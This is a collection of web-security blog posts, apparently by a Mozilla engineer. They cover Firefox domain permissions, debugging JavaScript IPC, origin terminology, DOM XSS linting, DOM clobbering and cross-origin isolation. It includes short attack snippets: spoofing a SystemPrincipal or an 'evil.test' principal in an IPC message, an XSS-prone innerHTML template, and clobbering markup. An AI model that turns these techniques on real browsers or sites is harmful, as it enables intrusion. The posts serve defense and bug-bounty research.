Frederik Braun

How Firefox gives special permissions to some domains

2024-02-02T00:00:00+01:00

Today, I found someone tweeting about a neat security bug in Chrome, that bypasses how Chrome disallows extensions from injecting JavaScript into special domains like chrome.google.com. The intention of this block is that browsers give special permissions to some internal pages that allow troubleshooting, resetting the browser, installing extensions and more.

The bug in question was an easy bypass of a domain block list due to a DNS trick. Due to a strict host name match, an attacker could extend the current hostname with a trailing dot to chrome.google.com. and bypass the block.

I believe, this allowed all extensions that can inject content scripts into arbitrary domains to potentially make use of these extra privileges.

Of course, this got me thinking. What if we have this bug in Firefox too? So I went on and looked at our code. Fortunately, I have been playing with our permission system for quite a while already, so I knew what to do.

First of all, Firefox uses a so-called PermissionManager API, which gets its default values from the file browser/app/permissions in the source tree. At the time of writing this article, the four different possible permissions are uitour, install, remote-troubleshooting and autoplay-media. So far, I have only looked into the first two, as I know how they work and what they do. But for the purpose of this analysis, and due to all of them going throgh the PermissionManager, I am relatively confident that testing two of those should verify the behavior of the API in itself - regardless of the specific permissions and sites involved.

The install permission is used on addons.mozilla.org to allow the website to trigger the installation of Firefox extensions. In fact, you can test that this is the case by navigating to addons.mozilla.org and looking at the exposed interfaces: typeof AddonManager returns "function". However, on any other web page, the result of that expression is undefined.

Now that we know how to test whether a page has the install permission, we can open tab that goes to addons.mozilla.org. and do the same again. What's typeof AddonManager here? undefined. No dice.

Let's continue with the uitour permission. The uitour permission is used in Firefox's new tab, support and download pages. It is used to invoke functionality from the user interface. When a Firefox user is being presented new features after a major upgrade, the uitour events can highlight Firefox menu buttons or open popups that contain new funcionality.

A specific example that I remember is that for example, when a Firefox user tries to download a new Firefox package, we assume that they are confused or dissatisfied with how their browser is setup right now. So instead of offering a download file, we also suggest "refreshing" Firefox, which can help undo some undesired customizations without losing stored passwords and such.

The code that you can run to try the uitour feature on www.mozilla.org is as such:

document.dispatchEvent(new CustomEvent('mozUITour', {
    bubbles: true,
    detail: {
        action: 'resetFirefox',
        data: {
        }
    }
}));

Dispatching this event will get you a new impressive modal dialog that asks the user if they really want to refresh Firefox.

Now that we have a test for the uitour feature, we can do the same thing we tried last time: Add a trailing dot and try again.

Going to www.mozilla.org. and trying again yields similar results as above: No prompt shows.

To summarize: Our quick analysis has shown that even if we could get the web extension code to be confused about whether a page should be scripted. The permission manager does not play along.

I think we can safely assume that Firefox is not affected by the same bug. But you shouldn't take my word for it. Feel free to prove me wrong: Here are some links to our code:

If you feel like you have found something that I did not, please submit to the Firefox bug bounty program.

Examine Firefox Inter-Process Communication using JavaScript in 2023

2023-04-17T00:00:00+02:00

This is my update to the 2021 JavaScript IPC blog post from the Firefox Attack & Defense blog.

Firefox uses Inter-Process Communication (IPC) to implement privilege separation, which makes it an important cornerstone in our security architecture. A previous blog post focused on fuzzing the C++ side of IPC. This blog post will look at IPC in JavaScript, which is used in various parts of the user interface. First, we will briefly revisit the multi-process architecture and upcoming changes for Project Fission, Firefox’ implementation for Site Isolation. We will then move on to examine two different JavaScript patterns for IPC and explain how to invoke them. Using Firefox’s Developer Tools (DevTools), we will be able to debug the browser itself.

Once equipped with this knowledge, we will revisit a sandbox escape bug that was used in a 0day attack against Coinbase in 2019 and reported as CVE-2019-11708. This 0day-bug has found extensive coverage in blog posts and publicly available exploits. We believe the bug provides a great case study and the underlying techniques will help identify similar issues. Eventually, by finding more sandbox escapes you can help secure hundreds of millions of Firefox users as part of the Firefox Bug Bounty Program.

Multi-Process Architecture Now and Then

As of April 2021, Firefox uses one privileged process to launch other process types and coordinate activities. These types are web content processes, semi-privileged web content processes (for special websites like accounts.firefox.com or addons.mozilla.org) and four kinds of utility processes for web extensions, GPU operations, networking or media decoding. Here, we will focus on the communication between the main process (also called "parent") and a multitude of web processes (or "content" processes).

Firefox is shifting towards a new security architecture to achieve Site Isolation, which moves from a “process per tab” to a “process per site” architecture.

The parent process acts as a broker and trusted user interface host. Some features, like our settings page at about:preferences are essentially web pages (using HTML and JavaScript) that are hosted in the parent process. Additionally, various control features like modal dialogs, form auto-fill or native user interface pieces (e.g., the <select> element) are also implemented in the parent process. This level of privilege separation also requires receiving messages from content processes.

Let's look at JSActors and MessageManager, the two most common patterns for using inter-process communication (IPC) from JavaScript:

JSActors

Using a JSActor is the preferred method for JS code to communicate between processes. JSActors always come in pairs - with one implementation living in the child process and the counterpart in the parent. There is a separate parent instance for every pair in order to closely and consistently associate a message with either a specific content window (JSWindowActors), or child process (JSProcessActors).

Since all JSActors are lazy-loaded we suggest to exercise the implemented functionality at least once, to ensure they are all present and allow for a smooth test and debug experience.

The example diagram above shows a pair of JSActors called FooParent and FooChild. Messages sent by invoking FooChild will only be received by a FooParent. The child instance can send a one-off message with sendAsyncMesage("someMessage", value). If it needs a response (wrapped in a Promise), it can send a query with sendQuery("someMessage", value).

The parent instance must implement a receiveMessage(msg) function to handle all incoming messages. Note that the messages are namespace-tied between a specific actor, so a FooChild could send a message called Bar:DoThing but will never be able to reach a BarParent. Here is some example code (permalink, revision from March 25th) which illustrates how a message is handled in the parent process.

As illustrated, the PromptParent has a receiveMessage handler (line 127) and is passing the message data to additional functions that will decide where and how to open a prompt from the parent process. Message handlers like this and its callees are a source of untrusted data flowing into the parent process and provide logical entry points for in-depth audits

Message Managers

Prior to the architecture change in Project Fission, most parent-child IPC occurred through the MessageManagers system. There were multiple message managers, including the per-process message manager and the content frame message manager, which was loaded per-tab.

Under this system, JS in both processes would register message listeners using the addMessageListener methods and would send messages with sendAsyncMessage, that have a name and the actual content. To help track messages throughout the code-base their names are usually prefixed with the components they are used in (e.g., SessionStore:restoreHistoryComplete).

Unlike JSActors, Message Managers need verbose initialization with addMessageListener and are not tied together. This means that messages are available for all classes that listen on the same message name and can be spread out through the code base.

Inter-Process Communication using MessageManager

As of late April 2021, our AddonsManager - the code that handles the installation of WebExtensions into Firefox - is using MessageManager APIs:

Code sample for a receiveMessage function using the MessageManger API

The code (permalink to exact revision) for setting a MessageManager looks very similar to the setup of a JSActor with the difference that messaging can be used synchronously, as indicated by the sendSyncMessage call in the child process. Except for the lack of lazy-loading, you can assume the same security considerations: Just like with JSActors above, the receiveMessage function is where the untrusted information flows from the child into the parent process and should therefore be the focus of additional scrutiny.

Finally, if you want to inspect MessageManager traffic live, you can use our logging framework and run Firefox with the environment variable MOZ_LOG set to MessageManager:5. This will log the received messages for all processes to the shell and give you a better understanding of what’s being sent and when.

Inspecting, Debugging, and Simulating JavaScript IPC

Naturally, source auditing a receiveMessage handler is best paired with testing. So let's discuss how we invoke these functions in the child process and attach a JavaScript debugger to the parent process. This allows us to simulate a scenario where we have already full control over the child process. For this, we recommend you download and test against Firefox Nightly to ensure you're testing the latest code - it will also give you the benefit of being in sync with codesearch for the latest revisions at https://searchfox.org. For best experience, we recommend you download Firefox Nightly right now and follow this part of the blog post step by step.

DevTools Setup - Parent Process

First, set up your Firefox Nightly to enable browser debugging. Note that the instructions for how to enable browser debugging can change over time, so it's best you cross-check with the instructions for Debugging the browser on MDN.

Open the Developer Tools, click the "···" button in the top-right and find the settings. Within Advanced settings in the bottom-right, check the following:

Enable browser chrome and add-on debugging toolboxes
Enable remote debugging

Restart Firefox Nightly and open the Browser debugger (Tools -> Browser Tools -> Browser Toolbox). This will open a new window that looks very similar to the common DevTools.

This is your debugger for the parent process (i.e., Browser Toolbox = Parent Toolbox).

The frame selector button, which is left of the three balls "···" will allow you to select between windows. Select browser.xhtml, which is the main browser window. Switching to the Debug pane will let you search files and find the Parent actor you want to debug, as long as they have been already loaded. To ensure the PromptParent actor has been properly initialized, open a new tab on e.g. https://example.com and make it call alert(1) from the normal DevTools console.

[caption id="attachment_223" align="aligncenter" width="1847"] Hitting a breakpoint in Firefox’s parent process using Firefox Developer Tools left

You should now be able to find PromptParent.jsm (Ctrl+P) and set a debugger breakpoint for all future invocations (see screenshot above). This will allow you to inspect and copy the typical arguments passed to the Prompt JSActor in the parent.

Note: Once you hit a breakpoint, you can enter code into the Developer Console which is then executed within the currently intercepted function.

DevTools Setup - Child Process

Now that we know how to inspect and obtain the parameters which the parent process is expecting for Prompt:Open, let's try and trigger it from a debugged child process: Ensure you are on a typical web page, like https://example.com, so you get the right kind of content child process. Then, through the Tools menu, find the "Browser Content Toolbox". Content here refers to the child process (Content Toolbox = Child Toolbox).

Since every content process might have many windows of the same site associated with it, we need to find the current window. This snippet assumes it is the first tab and gets the Prompt actor for that tab:

actor = tabs[0].content.windowGlobalChild.getActor("Prompt");

Now that we have the actor, we can use the data gathered in the parent process and send the very same data. Or maybe, a variation thereof:

actor.sendQuery("Prompt:Open", {promptType: "alert", title: "👻", modalType: 1, promptPrincipal: null, inPermutUnload: false, _remoteID: "id-lol"});

Invoking JavaScript IPC from Firefox Developer Tools (bottom right) and observing the effects (top right)

In this case, we got away with not sending a reasonable value for promptPrincipal at all. This is certainly not going to be true for all message handlers. For the sake of this blog post, we can just assume that a Principal is the implementation of an Origin (and for background reading, we recommend an explanation of the Principal Objects in our two-series blog post "Understanding Web Security Checks in Firefox": See part 1 and part 2).

In case you wonder why the content process is allowed to send a potentially arbitrary Principal (e.g., the origin): This is currently a known limitation and will be fixed while we are en route to full site-isolation (bug 1505832).

If you want to try to send another, faked origin - maybe from a different website or maybe the most privileged Principal - the one that is bypassing all security checks, the SystemPrincipal, you can use these snippets to replace the promptPrincipal in the IPC message:

const {Services} = ChromeUtils.import("resource://gre/modules/Services.jsm");
otherPrincipal = Services.scriptSecurityManager.createContentPrincipalFromOrigin("https://evil.test");
systemPrincipal = Services.scriptSecurityManager.getSystemPrincipal();

Note that validating the association between process and site is already enforced in debug builds. If you compiled your own Firefox, this will cause the content process to crash.

Revisiting Previous Security Issues

Now that we have the setup in place we can revisit the security vulnerability mentioned above: CVE-2019-11708.

The issue in itself was a typical logic bug: Instead of switching which prompt to open in the parent process, the vulnerable version of this code accepted the URL to an internal prompt page, implemented as an XHTML page. But by invoking this message, the attacker could cause the parent process to open any web-hosted page instead. This allowed them to re-open their content process exploit again in the parent process and escalate to a full compromise.

Let's take a look at the diff for the security fix to see how we replaced the vulnerable logic and handled the prompt type switching in the parent process (permalink to source).

Handling of untrusted message.data before and after fixing CVE-2019-11708.

You will notice that line 140+ used to accept and use a parameter named uri. This was fixed in a multitude of patches. In addition to only allowing certain dialogs to open in the parent process we also generally disallow opening web-URLs in the parent process.

If you want to try this yourself, download a version of Firefox before 67.0.4 and try sending a Prompt:Open message with an arbitrary URL.

Next Steps

In this blog post, we have given an introduction to Firefox IPC using JavaScript and how to debug the child and the parent process using the Content Toolbox and the Browser Toolbox, respectively. Using this setup, you are now able to simulate a fully compromised child process, audit the message passing in source code and analyze the runtime behavior across multiple processes.

If you are already experienced with Fuzzing and want to analyze how high-level concepts from JavaScript get serialized and deserialized to pass the process boundary, please check our previous blog post on Fuzzing the IPC layer of Firefox.

If you are interested in testing and analyzing the source code at scale, you might also want to look into the CodeQL databases that we publish for all Firefox releases.

If you want to know more about how our developers port legacy MessageManager interfaces to JSActors, you can take another look at our JSActors documentation and at how Mike Conley ported the popup blocker in his Joy of Coding live stream Episode 204.

Finally, we at Mozilla are really interested in the bugs you might find with these techniques - bugs like confused-deputy attacks, where the parent process can be tricked into using its privileges in a way the content process should not be able to (e.g. reading/writing arbitrary files on the filesystem) or UXSS-type attacks, as well as bypasses of exploit mitigations. Note that as of April 2021, we are not enforcing full site-isolation. Bugs that allow one to impersonate another site will not yet be eligible for a bounty. Submit your findings through our bug bounty program and follow us at the @attackndefense Twitter account for more updates.

Origins, Sites and other Terminologies

2023-01-14T00:00:00+01:00

In order to fully discuss security issues, their common root causes and useful prevention or mitigation techniques, you will need some common ground on the security model of the web. This, in turn, relies on various terms and techniques that will be presented in the next sections.

Feel free to skip ahead, if you are familiar with some of the following concepts.

The Same-Origin Policy

The most important notion of scope on the web is an Origin. An origin is usually a tuple of a scheme, a host and a port of a URL. Generally, documents can only interact with each other when hosted on the same origin. In essence, this means that two communicating documents' URLs should have the same scheme, host and port.

However, an origin can also be a so-called an opaque origin, which is considered a restricted context that is always cross-origin to everything else. This is used in e.g., <iframe> elements with the sandbox attribute.

Cross-origin resources that are loaded into the current document (e.g., scripts, images) can be used (e.g., executed or displayed) but not properly read: A cross-origin image can be drawn onto a <canvas>, but its pixels can not be read. A cross-origin's script can be executed but the actual source text is unreadable. However, the script's side effects are observable when modifying the global scope (e.g., defining a new global variable). This can lead to unintended leaks, called Cross-Site Script Inclusions.

The Same-Origin Policy can not always apply purely based on comparing the origins of two URLs, as we will likely see in another post. For now, a quick link to my 2012 diploma thesis "Origin Policy Enforcement in Modern Browsers" will have to suffice.

Interactions that are subject to the Same-Origin Policy can be roughly grouped in two scenarios:

1) DOM Access

Synchronous access in JavaScript across origin boundaries can happen through a window or document object. These are typically obtained through an <iframe> or a popup created with window.open() and are always gated by the Same-Origin Policy - except for some interesting corner cases:

Reading the window.length property, which reveals the number of frames.
Reading closed attribute (used for popups) and calling close().
Invoking focus() and blur().
Calling postMessage allows sending data, which triggers a MessageEvent on the receiving window asynchronously.
A cross-origin window can be navigated away by assigning to window.location or invoking location.replace().

Interestingly, this already allows for some tricks and attacks where a cross-origin window is suddenly replaced with a similar-looking spoof.

2) HTTP Requests

Websites can perform HTTP requests, but will not be able to read the responses, unless the request's URL is same-origin. Requests are typically issued with APIs like XMLHttpRequest and fetch().

However, there are some exceptions and techniques towards relaxing same-origin checks, like Cross Origin Resource Sharing (CORS). Many of these exceptions grew organically based on some specific need. We will go through them in a later post.

Site, Registerable Domain and Public Suffix

Some APIs are governed by the notion of a Site, instead of an Origin. A Site is a combination of a scheme and a host's registerable domain.

Looking up the registerable domain of a hostname, is a quite literally a check which domain had to be registered (e.g., example.co.uk or is the registerable domain for www.example.co.uk as well as for mail.example.co.uk). This lookup is useful to include an entity and all of its subdomains, but nothing above.

The idea of a Site is used in a variety of specs that want to allow related web pages to collaborate for convenience or legacy support reasons. Among them are Storage Access API (3rd Party Cookie Access), WebAuthn and Federated Credential Management.

Historical context: Previously, people used the terminology of a top-level domain, where the top was presumed to be exactly one level of nesting and not more. This has been long-since incorrect and impractical - given the existence of "top" levels with additional nesting like co.uk. Therefore, a variety of other terms have emerged, like eTLD+1 (the effective top-level domain, plus another level of nesting). Web standards have converged on registerable domain.
What this means is that the boundary where a "top" level begins has to be defined otherwise: In practice, this happens in a manually maintained text file otherwise known as the Public Suffix List.

Aside: Even before that, people used to refer to same-site by just comparing two registerable domains, without the scheme. This has been renamed to schemelessly same-site. Let's pretend that never happened in the first place.

Getting a domain of yours added to the aforementioned Public Suffix List, allows to enforce privilege separation along the lines of the Same-Origin Policy: If your domain is considered a public suffix, then every name below that becomes its own origin. It is generally recommended to do that in order to assign user-generated content into separated namespaces. A great example is github.io, where each user is getting a namespace underneath the public suffix and can therefore not affect cookies or site-specific settings with other users.

Secure Contexts

Secure Context is a generalized notion of whether a website was served over HTTPS. A simple look at the protocol scheme does not fully work and the generalization is necessary to allow for situations where a document does not have a HTTP(S) URL but is inheriting its context (e.g., <iframe srcdoc>, about:blank documents). Additionally, pages hosted on *.localhost or via the local filesystem (file://) are also considered secure. Whether the current page was delivered securely is exposed in JavaScript via the window.isSecureContext property.

Being in a Secure Context is often times required for newer, powerful APIs which want some level of assurance that a web page has not been intercepted or modified by a network attacker. A typical API that requires it is ServiceWorkers, because persistently installed background code should not be perpetuated into future sessions when coming from an insecure connection.

Note: A document delivered over HTTPS is not a secure context, if it has been embedded from an insecure context (e.g. HTTP site contains <iframe> of HTTPS site).

Cross-Origin Isolation

Cross-Origin Isolation is a newer security boundary, that was created as a reaction to two noteworthy attack groups. The first attack group being so-called cross-site leaks (henceforth called xsleaks) and microarchitectural side-channel attacks against modern CPUs (Spectre, Meltdown, and its various successors).

Xsleaks attacks rely on abusing some pre-existing global state (e.g. browser cache, a resource limit for maximum allowed opened socket) to infer or leaking cross-site application state. This is a generalization upon previously known methods for e.g., redirection-detections to identify whether a user is logged in with a third-party site, but also history stealing attacks. The xsleaks wiki has many examples and suggested countermeasures.

Microarchitectural attacks (like Spectre and Meltdown) rely on specific CPU behavior in order to infer or leak information from the processor itself. Roughly speaking, exploitation allows to read arbitrary memory within the same operating system (OS) process. Carrying out a Spectre attack, for example, is believed to be possible using shared memory access and high-precision timers. Both exist as APIs provided by the web platform with SharedArrayBuffer and the Performance API.

As a result, an attacker would have been able to violate the Same-Origin Policy by embedding a cross-origin resource (using e.g., an <img> element) and reading process memory. As a reaction, browser engines have originally disabled access to those APIs or reduced timing granularity.

Despite blocking Web APIs, major browsers like Chrome and Firefox have also gone through significant re-architecturing efforts to create and assign separate OS-processes to websites of different Sites. These long-term engineering projects (called Site-Isolation) were mostly without side effects for web developers. However, this is not enough, given the embedding attack example above.

In order to reenable access to these coveted APIs, a website now has to ensure that is not including any cross-origin content (using Cross-Origin-Embedder-Policy or COEP) or only content that has been explicitly listed as public across process boundaries by its author (using Cross-Origin-Resource-Policy). Furthermore, the web page needs to disallow synchronous window handle access using the Cross-Origin-Opener-Policy (also known as COOP).

When used in combination, COEP and COOP lead to the window.crossOriginIsolated property becoming true. This give access to the SharedArrayBuffer constructor and high-precision timing in the Performance API.

To summarize, Cross-Origin Isolation and is a mechanism to retrofit the web security model in light of new attacks: A website can only get access by being assigned its very own, unique browser process that is also free of potentially sensitive cross-origin content.

What else?

Do you feel like something is unclear or missing?

Finding and Fixing DOM-based XSS with Static Analysis

2023-01-02T00:00:00+01:00

This article first appeared on the Firefox Attack & Defense blog.

Despite all the efforts of fixing Cross-Site Scripting (XSS) on the web, it continuously ranks as one of the most dangerous security issues in software.

In particular, DOM-based XSS is gaining increasing relevance: DOM-based XSS is a form of XSS where the vulnerability resides completely in the client-side code (e.g., in JavaScript). Indeed, more and more web applications implement all of their UI code using frontend web technologies: Single Page Applications (SPAs) are more prone to this vulnerability, mainly because they are more JavaScript-heavy than other web applications. An XSS in Electron applications, however, has the potential to cause even more danger due to the system-level APIs available in the Electron framework (e.g., reading local files and executing programs).

The following article will take a deeper look into Mozilla's static analysis approach for defeating DOM-based XSS. This is one part of our mitigations against injection attacks in the Firefox browser, for which the user interface is also written in HTML, JavaScript and CSS.

Background: Real world example of DOM-based XSS

Let's take a moment to look at typical sources of DOM-based XSS first. Imagine a bit of JavaScript (JS) code like here:

let html = `
<div class="image-box">
<img class="image"
src="${imageUrl}"/>
</div>`;
// (...)
main.innerHTML = html;

You first will notice the variable called html, whichconstructs a bit of HTML using a Javascript template string. It also features an inclusion of another variable - imageUrl - to be used in the src attribute. The full html string is then assigned to main.innerHTML.

If we assume that the imageUrl variable is controlled by an attacker - then they might easily break out of the src attribute syntax and enter arbitrary HTML of their choosing to launch an XSS attack.

This example demonstrates how easy it is to accidentally implement a DOM-XSS vulnerability: The application was expecting an image URL, but also accepts all sorts of strings, which are then parsed into HTML and JavaScripts. This is enough to enable XSS attacks.

If we want to avoid these bugs we need to find all instances in which the application parses a string into HTML and then determine if it can be controlled from the outside (e.g., form input, URL parameters, etc).

To do so efficiently, we are required to inspect various patterns in source code. First, let's look at all assignments to innerHTML or outerHTML. In order not to miss other sources of XSS, we also need to inspect calls to the following functions: insertAdjacentHTML(), document.write(), document.writeln().

When first trying this ourselves, we at Mozilla used text search with tools like grep or ripgrep, but it did not turn out successful: Even a complicated search pattern gave us thousands of results and contained many false positives (e.g., assignments of safe, hardcoded strings). We knew we needed something that is more syntax-aware.

Linting and Static Analysis

Static Analysis is just another way to say that we want to inspect source code automatically. Our static analysis method builds on existing JavaScript linting with eslint, which supports robust JS source code parsing and also supports new JavaScript syntax extensions. Furthermore, the provided plugin API helps us build an automated check with relatively little new code. However, there are some limitations:

Caveats

Since we are scanning the JavaScript source code, there are some things we can not easily do:

Static Analysis has almost no visibility into a variable's content (i.e., harmful, harmless, attacker controlled, hardcoded).
In JavaScript, the source code does not tell us a variable's type (e.g., Number, String, Array, Object)
Static Analysis is easily fooled by minification, bundling or obfuscation.

At Mozilla, we managed to accept these limitations because we can build on our existing engineering practices:

All proposed patches are going through code review.
The repository contains all relevant JavaScript source code (e.g., third-party libraries are vendored in).

The latter point is sometimes hard to guarantee and requires using dependencies through published and versioned libraries. Third-party JavaScript dependencies through <script> elements are therefore out of scope. For a cohesive security posture, the associated security risks need to be mitigated by other means (e.g., using in-browser checks at runtime like CSP). You should validate whether the following assumptions also hold true for your project.

How Static Analysis works

To explain the implementation of our eslint plugin, let's take a look at how JavaScript can be parsed and understood by eslint: A common representation is the so-called Abstract Syntax Tree (AST). Let's take a look at the AST for a simplified version of our vulnerability from above:

foo.innerHTML = evil:

AssignmentExpression (operator: =)
|-- left: MemberExpression
| |-- object: Identifier "foo"
| `-- property: Identifier "innerHTML"
`-- right
`-- Identifier "evil"

Indeed, the whole line is seen as an assignment, with a left and a right side. The right side is a variable (Identifier) and the left side foo.innerHTML is accessing the property of an object (MemberExpression).

Now let's look at the AST representation for a case, where XSS is not possible, which just assigns an empty string: foo.innerHTML = "".

AssignmentExpression (operator: =)
|-- left: MemberExpression
| |-- object: Identifier "foo"
| `-- property: Identifier "innerHTML"
`-- right
`-- Literal ""

Did you spot the difference? Again the assignment has a left and right side. But in this case, the right node is of type Literal (i.e., a hardcoded string).

We can use exactly these kinds of differences to understand the basics of our linter plugin: When looking at assignments, all hardcoded strings are considered trustworthy and do not need further static analysis. But only if all patches are subject to code review, before being committed to the source code. Naturally, the plugin has many more syntax expressions to take into account.

While bearing in mind, that the abstract syntax tree can not tell us anything about a variable despite its name, we probably want to allow some other things: In our case, we configured our linter runtime (not the plugin itself) to skip files if they are in the test/ folder, as we do not expect test code to be running on our users' systems.

We also need to take false positives into account. False positives are incorrect detections of code, in which the content of the variable is known to be safe through other means. Here, we recommend our developers to use a trusted Sanitizer library that will always return XSS-safe HTML. Essentially, we allow all code on the right side of the assignment as long as it is wrapped in a function call to a known sanitizer like so:

foo.innerHTML = DOMPurify.purify(evil);

We currently recommend using DOMPurify as your sanitizer and our linter allows such calls in our default configuration. In parallel, we are also actively working on specifying and implementing a secure Sanitizer API for the web platform. Either way, as long as our sanitizer function is well implemented, the input data doesn't have to be.

With all these techniques and decisions in mind, we ended up developing an eslint plugin called [*eslint-plugin-no-unsanitized**](https://github.com/mozilla/eslint-plugin-no-unsanitized), which also contains checks for other typical XSS-related source code fragments likedocument.write()` and is fully configurable in terms of which sanitizers you want to allow.

Evaluation & Integration

When we first tried finding XSS in the Firefox UI automatically, we used grep and spotted thousands of potential vulnerabilities. With the eslint plugin, we reduced this number to 34 findings! This reduction enabled us to start a focussed manual code audit and resulted in finding only two critical security bugs. Imagine trying to identify those two bugs by going through thousands of potential findings manually.

Eventually, we fully integrated eslint-plugin-no-unsanitized into our CI systems by choosing an iterative approach:

We enabled the linter over time and directory by directory.
We skip test files.
We also had to allow some exceptions for code that violates the linter but was not actually insecure (validated through code audit).

An important note here is that allowing linter violations incurs a risk that needs to be temporary. It's still useful to tolerate exceptions during the migration to the linter plugin, but not after. We've also experienced that developers misunderstand the purpose of the linter and try to design their own path of evading these checks. Our lesson: By controlling the path for exceptions and escalations, we were able to understand and adopt the tool to find workable solutions for all developers and their use cases.

Once all code has been integrated, it should be on the security & analysis teams to get the number of exceptions down to zero. With all those bugs fixed and most linter violations resolved, we are running the plugin against all newly submitted Firefox code and have a pretty good handle on XSS issues in our codebase.

Conclusion: You can fix DOM-XSS

Fixing DOM-based XSS across a whole codebase is not easy, but we believe this overview will serve as a useful guide: As a first step, we can highly recommend just using the eslint plugin no-unsanitized as it is and running it against your source code. A dry-run will already tell you whether the topic of DOM-based XSS is a problem at all. Our integration section showed how you can integrate the linter gradually, based on risk or feasibility. But we also want to note that source code analysis is not a silver bullet: There are notable caveats and it is useful to complement static analysis with enforcement in the browser and at runtime. But, eventually you will be able to get rid of a lot of DOM-XSS.

This is a summary of my presentation of the same title, delivered at Sekurak Mega Hacking Party (June 2021) and JSCamp Barcelona (July 2021) and enterJS (June 2022) Feel free to reach out, if you want me to talk about web security at your event .

DOM Clobbering

2022-12-12T00:00:00+01:00

This article first appeared on the HTMLHell Advent Calendar 2022.

Motivation

When thinking of HTML-related security bugs, people often think of script injection attacks, which is also known as Cross-Site Scripting (XSS). If an attacker is able to submit, modify or store content on your web page, they might include evil JavaScript code to modify the page or steal user information like cookies. Most developers out there protect their websites against XSS by disallowing or controlling script execution.

However, this article is NOT about XSS.

This article is about an interesting attack that relies on HTML-only injections. The techniques here were first described by Gareth Heyes in 2013, the topic gained additional attention due to a recent research paper and its accompanying website https://domclob.xyz/ from Khodayari et al.

Background

Before we dive into the vulnerability class of DOM Clobbering, we need to establish some background.

Have you ever noticed that whenever you include a HTML element with an id attribute, it becomes available as a global name (and a name on the window object)? So, for example

<form id=freddy>

…will lead to window.freddy becoming a reference to that form element.

This is a legacy inheritance from the very old days of HTML and also known as named property access in the HTML spec. Studying the spec will inform us that the following elements will also appear on the document object: embed, form, img, and object.

Given that web browsers have to maintain backwards compatibility support for relatively old web pages, named property access is designed in such a way that element references come before lookups of APIs and other new attributes on the window and document object.

DOM Clobbering Attacks

In essence, this means that an attacker with the ability to inject HTML may mess with simple Web APIs - like the property document.hidden:

Imagine your website is trying to reduce or stop animations based on page visibility like so:

if (!document.hidden) {
  startAnimations(); 
}

an injected HTML form element will be able to make this truthy, regardless of whether the page is really hidden:

With <form id=hidden> the value document.hidden would return a HTMLFormElement and therefore be considered truthy.

So, in essence, DOM Clobbering is an attack where injected HTML may confuse the existing JavaScript application and therefore change the application logic.

Another typical example of this vulnerability is where code is trying to fall back to a default config if some variable is set, like so:

let config = defaultConfig || { /* some config here */};

If the defaultConfig name is clobbered, that other config is never going to be assigned correctly!

Let's look at a third, more complicated example: In this case, an attacker has injected two input elements with a id attribute of childNodes into an existing form f like here:

<form id=f>
  <input id=childNodes>foo
  <input id=childNodes>bar
  <input type=text value="hidden-from-js">
</form>

These injected input elements will overwrite the form element's property and all following JavaScript code will not be able to iterate over f.childNodes!

Compare the clobbered property with the actual children in this screenshot below:

Do you see the difference in length?

An attack vector like this one could be used to fool or confuse the website's JavaScript code when iterating over attacker-controlled DOM trees.

Just imagine what else could be overridden!

How would your web page behave if seemingly innocent function calls like document.getElementById() can fail with "Uncaught TypeError: document.getElementById is not a function" because the API has also been clobbered

Prevention

The best way to prevent DOM Clobbering is to use a strong Sanitizer library. A sanitizer typically goes through user-supplied HTML and only leaves the harmless bits - removing scripts, event handlers and other injections - like DOM Clobbering.

The author of this article recommends DOMPurify. By default, DOMPurify will remove all clobbering properties. Using the option SANITIZE_NAMED_PROPS: true will instead prefix user-supplied identifiers with user-content-.

However, if you want to live on the edge you might also want to look at the upcoming Sanitizer API. The specification for the Sanitizer API is still in development, but Chrome and Firefox are already shipping a prototype and the Sanitizer API Playground has instructions on how to enable it.

In order to fix DOM Clobbering with the Sanitizer API, you need to configure the Sanitizer to disallow attributes of type name and id:

const mySanitizer = new Sanitizer({
  blockAttributes: [
    {'name': 'id', elements: '*'},
    {'name': 'name', elements: '*'}
  ]
});
someElement.setHTML(input, {sanitizer: mySanitizer});

Good luck!

Neue Methoden für Cross-Origin Isolation: Resource, Opener & Embedding Policies mit COOP, COEP, CORP und CORB

2022-11-10T00:00:00+01:00

This document sat in my archives. I originally created this so I have notes for my participation in the Working Draft podcast - a German podcast for web developers. That's why this article is in German as well. The podcast episode 452 was published in 2020, but I never published this document. In the interest of breathing some live into this blog, here it is. Have fun!

Hintergrund: CORS & Same-Origin Policy

Die erste und wichtigste Grundregel in Sachen Web- & Browser-Sicherheit ist die Same-Origin Policy. Sie bestimmt, dass alle Webseiten im gleichen Origin auch mit den gleichen Rechten ausgestattet sind. Ein Origin ist das Tripel von "Scheme, Host, Port".

Das bedeutet insbesondere, dass JavaScript keinen Zugriff auf Inhalte aus anderen Origins erhält.

Wenn man also ein Bild, iframe oder Popup von einem anderen Origin lädt, dann kann man es zwar darstellen lassen, aber eben nicht per JavaScript auslesen. Egal ob via canvas, iframe.contentDocument, popup.contentDocument usw.

Wichtig ist noch zu erwähnen, dass hier etwas namens "ambient authority" greift: Wenn ein iframe von, sagen wir mal twitter.com (z.B. ein Tweet-Knopf) angezeigt wird, schickt der Browser die Cookies für twitter.com mit, so dass Twitter die Antwort auf den aktuellen Account des aktuellen Benutzers anpassen kann.

Eine Ausnahme bietet hier CORS, das Cross-Origin Resource Sharing. Eine Seite kann explizit erlauben, von anderen Origins gelesen zu werden, wenn sie in dem Response Header eine entsprechende Erlaubnis per CORS. Der häufigste header im Response lautet

Access-Control-Allow-Origin: *, damit sind alle Webseiten erlaubt, die Datei zu laden UND auszulesen.

Wenn man möchte, kann man hier noch zwischen anonymen und credentialed requests unterscheiden:

Mit dem * im ACAO-Header wird jedem das Lesen erlaubt. Das besondere am * ist, dass implizit nur anonyme Requests erlaubt werden.

Probleme die Same-Origin Policy und CORS nicht lösen

Die Same-Origin Policy ist eine mächtige, allgegenwärtige Maßnahme, lässt jedoch einige Probleme ungelöst.

XSLeaks

Der Angriff des sogenannten Cross-Site Leaks besteht schon seit gut 10 Jahren, ist aber kürzlich erneut in den Fokus gerückt. Ein xsleak-Angriff macht sich bestimmtes Browserverhalten (zum Beispiel) Timing zu nutze um Informationen über eine cross-origin Webseite zu erhalten. Ein ganz einfaches Beispiel ist eine Seite, die nur nach dem Login einen <iframe> anzeigt. Wenn ein Angreifer nun diese Seite selbst in ein <iframe> öffnet, kann der Angreifer über iframeEl.contentWindow.length herausfinden, ob die Seite weitere frames beinhält und somit deduzieren ob der Benutzer eingeloggt ist.

Natürlich wissen wir alle, dass es eine schlechte Idee ist, dem Angreifer zu erlauben unsere Seite in einem <iframe> zu öffnen, deswegen gibt es ja die CSP frame-ancestors direktive & X-Frame-Options.

